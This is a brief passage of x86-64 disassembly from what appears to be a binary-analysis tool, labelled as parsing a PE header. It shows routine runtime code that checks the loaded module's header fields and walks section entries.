cmp r10, rdx
jne 0x140002738
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000276f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000277f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002756
test ecx, ecx
jg 0x140002768
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000272a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000272a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000272a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000272a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000272a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000272c
xor al, al
add rsp, 0x28
ret